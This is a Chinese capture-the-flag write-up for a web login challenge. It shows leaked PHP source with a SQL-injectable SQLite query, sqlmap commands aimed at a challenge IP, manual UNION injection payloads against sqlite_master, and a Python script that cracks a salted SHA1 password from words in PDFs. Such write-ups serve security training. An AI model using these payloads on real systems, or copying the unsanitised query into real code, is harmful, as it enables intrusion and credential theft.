
点开一个链接,还有一个链接,再点开,又是一堆链接,唯一不同的就是pdf不一样。。。
上dirsearch扫一下,扫到了admin.php和login.php,先去admin.php里面看下
用弱口令爆破失败,尝试sql注入也失败,查看网页源代码也没有什么东西,无奈只好去login.php看看。
基本上和admin.php一样的配置,不过这次查看网页源代码发现了一些东西
<!-- TODO: Remove ?debug-Parameter! -->
试试在链接后面加上debug参数,得到回显
<?phpob_start();?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html><head><style>blockquote { background: #eeeeee; }h1 { border-bottom: solid black 2px; }h2 { border-bottom: solid black 1px; }.comment { color: darkgreen; }</style><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><title>Login</title></head><body><div align=right class=lastmod>Last Modified: Fri Mar 31:33:7 UTC 1337</div><h1>Login</h1>Login Page, do not try to hax here plox!<br><form method="post">ID:<br><input type="text" name="usr"><br>Password:<br><input type="text" name="pw"><br><br><input type="submit" value="Submit"></form><?phpif(isset($_POST['usr']) && isset($_POST['pw'])){$user = $_POST['usr'];$pass = $_POST['pw'];$db = new SQLite3('../fancy.db');$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");if($res){$row = $res->fetchArray();}else{echo "<br>Some Error occourred!";}if(isset($row['id'])){setcookie('name',' '.$row['name'], time() + 60, '/');header("Location: /");die();}}if(isset($_GET['debug']))highlight_file('login.php');?><!-- TODO: Remove ?debug-Parameter! --><hr noshade><address>Flux Horst (Flux dot Horst at rub dot flux)</address></body>
这个就是login.php的代码了,可以看到sql查询处是没有防注入措施的,上sqlmap:
sqlmap -u http://220.249.52.134:39164/login.php --data usr= --tablesDatabase: SQLite_masterdb[1 table]+-------+| Users |+-------+
查到了Users表,接着查询列名:
sqlmap -u http://220.249.52.134:39164/login.php --data usr= -T Users --columnsDatabase: SQLite_masterdbTable: Users[0 columns]+--------+| Column |+--------++--------+
然而什么都没有查到,没办法,只能继续尝试手注看看
SQLite数据库中一个特殊的名叫 SQLITE_MASTER 上执行一个SELECT查询以获得所有表的索引。每一个 SQLite 数据库都有一个叫 SQLITE_MASTER 的表, 它定义数据库的模式。
> 其中有一个sql列,记录了创建该项目的sql语句。
usr=123' union select name,sql from sqlite_master--&pw=123得到sql语句
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255));除了用户名和密码外,还有一个hint,看一下 ``` usr=123’ union select name,hint from Users—&pw=123
name=+my+fav+word+in+my+fav+paper%3F%21; expires=Sat, 26-Dec-2020 08:36:21 GMT; Max-Age=60; path=/
猜测这个fav word就是密码,并且通过注入得到加密后的密码:
3fab54a50e770d830c0416df817567662a9dc85c
剩下的就是从每篇pdf中遍历单词,看看加密后的密码是否与数据库中的相同即可。```pythonimport osimport hashlibfrom pdfminer.pdfinterp import PDFResourceManager, process_pdffrom pdfminer.converter import TextConverterfrom pdfminer.layout import LAParamsfrom io import StringIOfrom io import opendef readPDF(pdfFile):rsrcmgr = PDFResourceManager()retstr = StringIO()laparams = LAParams()device = TextConverter(rsrcmgr, retstr, laparams=laparams)process_pdf(rsrcmgr, device, pdfFile)device.close()content = retstr.getvalue()retstr.close()return contentfor file in os.listdir("."):if os.path.splitext(file)[1] == ".pdf":with open(file,"rb") as pdf:pdf_text=readPDF(pdf)text_list=pdf_text.split()for i in text_list:sha1_passwd=hashlib.sha1((i+"Salz!").encode("utf-8")).hexdigest()if sha1_passwd=="3fab54a50e770d830c0416df817567662a9dc85c":print("PASSWORD:"+i)exit()
找到单词后登录,得到flag。
